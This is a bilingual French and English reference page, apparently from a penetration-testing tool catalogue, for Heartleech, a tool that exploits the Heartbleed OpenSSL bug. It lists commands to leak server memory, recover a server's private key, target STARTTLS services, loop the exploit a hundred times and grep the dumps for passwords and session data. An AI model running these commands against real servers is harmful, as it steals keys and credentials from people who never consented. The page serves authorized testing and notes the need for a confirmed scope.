Heartleech

Exploite la vulnérabilité Heartbleed (CVE-2014-0160) pour extraire des morceaux de mémoire d'un serveur TLS vulnérable. Exploits the Heartbleed vulnerability (CVE-2014-0160) to extract chunks of memory from a vulnerable TLS server.

↗ https://github.com/robertdavidgraham/heartleech

Overview

Heartleech is a dedicated exploitation tool for Heartbleed, the 2014 OpenSSL TLS heartbeat extension bug that lets a remote attacker read up to 64KB of a server’s process memory per request — potentially leaking private keys, session tokens, and credentials. It automates repeated exploitation to harvest memory over time and includes a mode specifically aimed at recovering the server’s private key.

Common Usage

Basic check/exploit against a target on the default HTTPS port

heartleech <target> -p 443

Save leaked memory to a file for offline analysis (strings, grep)

heartleech <target> -p 443 -o leaked_memory.bin

Attempt to recover the server’s private key specifically

heartleech <target> -p 443 --key

Specify a non-HTTPS TLS service (e.g. SMTP STARTTLS)

heartleech <target> -p 25 --starttls smtp

Post-Exploitation

Search leaked memory dumps for interesting strings

strings leaked_memory.bin | grep -iE "password|authorization|session"
# Repeated runs accumulate more memory coverage over time
for i in $(seq 1 100); do heartleech <target> -p 443 -o dump_$i.bin; done
cat dump_*.bin > all_dumps.bin

Tips

  • Only effective against unpatched OpenSSL versions (1.0.1 through 1.0.1f, fixed in 1.0.1g) — verify vulnerability first, e.g. via nmap --script ssl-heartbleed
  • The private-key recovery mode (--key) requires many successful leaks and is not guaranteed to succeed
  • Purely historical/legacy relevance on modern engagements — virtually all internet-facing services patched this over a decade ago; still occasionally found on neglected embedded/appliance TLS stacks
  • Always confirm authorization scope explicitly before running — memory disclosure can expose highly sensitive data unrelated to the test scope
Help / Man page
heartleech <host> [options]

  -p <port>          Target port (default 443)
  -o <file>          Save leaked memory to file
  --key               Attempt private key recovery mode
  --starttls <proto>  Use STARTTLS negotiation (smtp, pop3, imap, ftp)
  --autoretry         Automatically retry on connection failure
  --count <n>         Number of heartbeat requests to send
  --sni <hostname>    Set SNI hostname for the TLS handshake
  -v                  Verbose output

Vue d’ensemble

Heartleech est un outil d’exploitation dédié à Heartbleed, la faille de 2014 dans l’extension heartbeat TLS d’OpenSSL qui permet à un attaquant distant de lire jusqu’à 64 Ko de la mémoire de processus d’un serveur par requête, pouvant potentiellement divulguer des clés privées, des jetons de session et des identifiants. Il automatise l’exploitation répétée pour récolter de la mémoire dans le temps et inclut un mode spécifiquement destiné à récupérer la clé privée du serveur.

Utilisation courante

# Vérification/exploitation de base contre une cible sur le port HTTPS par défaut
heartleech <target> -p 443

# Sauvegarder la mémoire divulguée dans un fichier pour analyse hors ligne (strings, grep)
heartleech <target> -p 443 -o leaked_memory.bin

# Tenter de récupérer spécifiquement la clé privée du serveur
heartleech <target> -p 443 --key

# Spécifier un service TLS autre que HTTPS (par ex. SMTP STARTTLS)
heartleech <target> -p 25 --starttls smtp

Post-exploitation

# Rechercher des chaînes intéressantes dans les dumps mémoire divulgués
strings leaked_memory.bin | grep -iE "password|authorization|session"

# Les exécutions répétées accumulent une couverture mémoire plus large dans le temps
for i in $(seq 1 100); do heartleech <target> -p 443 -o dump_$i.bin; done
cat dump_*.bin > all_dumps.bin

Conseils

  • Efficace uniquement contre des versions OpenSSL non patchées (1.0.1 à 1.0.1f, corrigé en 1.0.1g) : vérifiez d’abord la vulnérabilité, par exemple via nmap --script ssl-heartbleed
  • Le mode de récupération de clé privée (--key) nécessite de nombreuses fuites réussies et n’est pas garanti de réussir
  • Purement d’intérêt historique/legacy sur les missions modernes : quasiment tous les services exposés sur internet ont patché cela il y a plus d’une décennie ; encore occasionnellement trouvé sur des piles TLS embarquées/appliances négligées
  • Confirmez toujours explicitement le périmètre d’autorisation avant de lancer : la divulgation de mémoire peut exposer des données hautement sensibles sans rapport avec le périmètre du test
Aide / Page de manuel
heartleech <host> [options]

  -p <port>          Target port (default 443)
  -o <file>          Save leaked memory to file
  --key               Attempt private key recovery mode
  --starttls <proto>  Use STARTTLS negotiation (smtp, pop3, imap, ftp)
  --autoretry         Automatically retry on connection failure
  --count <n>         Number of heartbeat requests to send
  --sni <hostname>    Set SNI hostname for the TLS handshake
  -v                  Verbose output